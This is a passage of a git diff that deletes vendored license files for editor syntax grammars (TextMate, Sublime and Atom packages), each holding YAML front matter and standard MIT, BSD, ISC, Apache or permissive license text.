-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
-
---------------------------------------------------------------------------------
-Different parts of Ioke is covered by different licences and copyrights:
-
-ikj:
-The package ioke.lang is covered by the file LICENSE.
-The package gnu.math is covered by the file LICENSE.kawa.
-The package org.jregex and subpackages contains their own licensing information in the source files.
-The package com.google.common and subpackages contain their own licensing information.
-
-ikc:
-The namepsace Ioke.Lang is covered by the file LICENSE.
-The namespace Ioke.Math is covered by the file LICENSE.kawa.
-The class Ioke.Math.BigDecimal and Ioke.Math.MathContext is covered by the file LICENSE.icu4j
-
-Everything else is covered by the file LICENSE, unless noted.
diff --git a/vendor/licenses/grammar/jade-tmbundle.txt b/vendor/licenses/grammar/jade-tmbundle.txt
deleted file mode 100644
index b3ca03295f..0000000000
--- a/vendor/licenses/grammar/jade-tmbundle.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: jade-tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 David Rios
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/jasmin-sublime.txt b/vendor/licenses/grammar/jasmin-sublime.txt
deleted file mode 100644
index 5ba61c964c..0000000000
--- a/vendor/licenses/grammar/jasmin-sublime.txt
+++ /dev/null
@@ -1,7 +0,0 @@
----
-type: grammar
-name: jasmin-sublime
-license: mit
-curated: true
----
-[MIT License](http://choosealicense.com/licenses/mit/)
diff --git a/vendor/licenses/grammar/java.tmbundle.txt b/vendor/licenses/grammar/java.tmbundle.txt
deleted file mode 100644
index a0fd82186b..0000000000
--- a/vendor/licenses/grammar/java.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: java.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/javascript-objective-j.tmbundle.txt b/vendor/licenses/grammar/javascript-objective-j.tmbundle.txt
deleted file mode 100644
index 91ad84ee78..0000000000
--- a/vendor/licenses/grammar/javascript-objective-j.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: javascript-objective-j.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/jflex.tmbundle.txt b/vendor/licenses/grammar/jflex.tmbundle.txt
deleted file mode 100644
index a660ddfb28..0000000000
--- a/vendor/licenses/grammar/jflex.tmbundle.txt
+++ /dev/null
@@ -1,32 +0,0 @@
----
-type: grammar
-name: jflex.tmbundle
-license: bsd-2-clause
----
-JFlex TextMate Bundle
-
-Copyright (c) 2015 Gerwin Klein and contributors.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions
-are met:
-
-1. Redistributions of source code must retain the above copyright
-   notice, this list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright
-   notice, this list of conditions and the following disclaimer in the
-   documentation and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
-OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
-OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGE.
diff --git a/vendor/licenses/grammar/json.tmbundle.txt b/vendor/licenses/grammar/json.tmbundle.txt
deleted file mode 100644
index dae4160d9e..0000000000
--- a/vendor/licenses/grammar/json.tmbundle.txt
+++ /dev/null
@@ -1,15 +0,0 @@
----
-type: grammar
-name: json.tmbundle
-license: permissive
-curated: true
----
-
-If not otherwise specified (see below), files in this repository fall under the following license:
-
-	Permission to copy, use, modify, sell and distribute this
-	software is granted. This software is provided "as is" without
-	express or implied warranty, and with no claim as to its
-	suitability for any purpose.
-
-An exception is made for files in readable text which contain their own license information, or files where an accompanying file exists (in the same directory) with a “-license” suffix added to the base-name name of the original file, and an extension of txt, html, or similar. For example “tidy” is accompanied by “tidy-license.txt”.
diff --git a/vendor/licenses/grammar/kotlin-sublime-package.txt b/vendor/licenses/grammar/kotlin-sublime-package.txt
deleted file mode 100644
index b79c359a3c..0000000000
--- a/vendor/licenses/grammar/kotlin-sublime-package.txt
+++ /dev/null
@@ -1,207 +0,0 @@
----
-type: grammar
-name: kotlin-sublime-package
-license: apache-2.0
----
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "[]"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2012-2014 Vladimir Kostyukov
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/language-agc.txt b/vendor/licenses/grammar/language-agc.txt
deleted file mode 100644
index e6b6845950..0000000000
--- a/vendor/licenses/grammar/language-agc.txt
+++ /dev/null
@@ -1,18 +0,0 @@
----
-type: grammar
-name: language-agc
-license: isc
----
-Copyright (c) 2016, John Gardner
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
-WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
-ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/vendor/licenses/grammar/language-apl.txt b/vendor/licenses/grammar/language-apl.txt
deleted file mode 100644
index 7f0d087e9b..0000000000
--- a/vendor/licenses/grammar/language-apl.txt
+++ /dev/null
@@ -1,18 +0,0 @@
----
-type: grammar
-name: language-apl
-license: isc
----
-Copyright (c) 2016, John Gardner
-
-Permission to use, copy, modify, and/or distribute this software for any
-purpose with or without fee is hereby granted, provided that the above
-copyright notice and this permission notice appear in all copies.
-
-THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
-WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
-ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
-WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
-ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
-OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
diff --git a/vendor/licenses/grammar/language-babel.txt b/vendor/licenses/grammar/language-babel.txt
deleted file mode 100644
index 9ae3677d9d..0000000000
--- a/vendor/licenses/grammar/language-babel.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: language-babel
-license: mit
----
-Copyright (c) 2015 Graham Clark
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-blade.txt b/vendor/licenses/grammar/language-blade.txt
deleted file mode 100644
index b79b7a7ad2..0000000000
--- a/vendor/licenses/grammar/language-blade.txt
+++ /dev/null
@@ -1,60 +0,0 @@
----
-type: grammar
-name: language-blade
-license: mit
----
-Copyright (c) 2016 Andreas Olsson, Indrek Ardel
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
-
---------------------------------------------------------------------
-
-This package uses parts from [Atom language-php package](https://github.com/atom/language-php).
-
-> Copyright (c) 2014 GitHub Inc.
-
-> Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-> The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-> THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
-> --------------------------------------------------------------------
-
-> This package was derived from a TextMate bundle located at
-https://github.com/textmate/php.tmbundle and distributed under the following
-license, located in `README.mdown`:
-
-> Permission to copy, use, modify, sell and distribute this
-software is granted. This software is provided "as is" without
-express or implied warranty, and with no claim as to its
-suitability for any purpose.
diff --git a/vendor/licenses/grammar/language-click.txt b/vendor/licenses/grammar/language-click.txt
deleted file mode 100644
index 6ef97e62d7..0000000000
--- a/vendor/licenses/grammar/language-click.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: language-click
-license: mit
----
-Copyright (c) 2015 Sten Verbois
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-clojure.txt b/vendor/licenses/grammar/language-clojure.txt
deleted file mode 100644
index 0d5396f09d..0000000000
--- a/vendor/licenses/grammar/language-clojure.txt
+++ /dev/null
@@ -1,53 +0,0 @@
----
-type: grammar
-name: language-clojure
-license: mit
----
-Copyright (c) 2014 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/mmcgrana/textmate-clojure and distributed under the
-following license, located in `LICENSE.md`:
-
-The MIT License (MIT)
-
-Copyright (c) 2010- Mark McGranaghan
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/language-coffee-script.txt b/vendor/licenses/grammar/language-coffee-script.txt
deleted file mode 100644
index 34a5034465..0000000000
--- a/vendor/licenses/grammar/language-coffee-script.txt
+++ /dev/null
@@ -1,54 +0,0 @@
----
-type: grammar
-name: language-coffee-script
-license: mit
----
-Copyright (c) 2014 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/jashkenas/coffee-script-tmbundle and distributed under the
-following license, located in `LICENSE`:
-
-Copyright (c) 2009-2014 Jeremy Ashkenas
-
-Permission is hereby granted, free of charge, to any person
-obtaining a copy of this software and associated documentation
-files (the "Software"), to deal in the Software without
-restriction, including without limitation the rights to use,
-copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the
-Software is furnished to do so, subject to the following
-conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
-OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
-HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
-WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/language-crystal.txt b/vendor/licenses/grammar/language-crystal.txt
deleted file mode 100644
index b8d74732e2..0000000000
--- a/vendor/licenses/grammar/language-crystal.txt
+++ /dev/null
@@ -1,36 +0,0 @@
----
-type: grammar
-name: language-crystal
-license: mit
----
-Copyright (c) 2014 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-
---------------------------------------------------------------------
-
-This package was derived from a TextMate bundle located at
-https://github.com/textmate/ruby.tmbundle and distributed under the following
-license, located in `README.mdown`:
-
-Permission to copy, use, modify, sell and distribute this
-software is granted. This software is provided "as is" without
-express or implied warranty, and with no claim as to its
-suitability for any purpose.
diff --git a/vendor/licenses/grammar/language-csharp.txt b/vendor/licenses/grammar/language-csharp.txt
deleted file mode 100644
index 0e696e9148..0000000000
--- a/vendor/licenses/grammar/language-csharp.txt
+++ /dev/null
@@ -1,41 +0,0 @@
----
-type: grammar
-name: language-csharp
-license: mit
-curated: true
----
-Copyright (c) 2014 GitHub Inc.
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
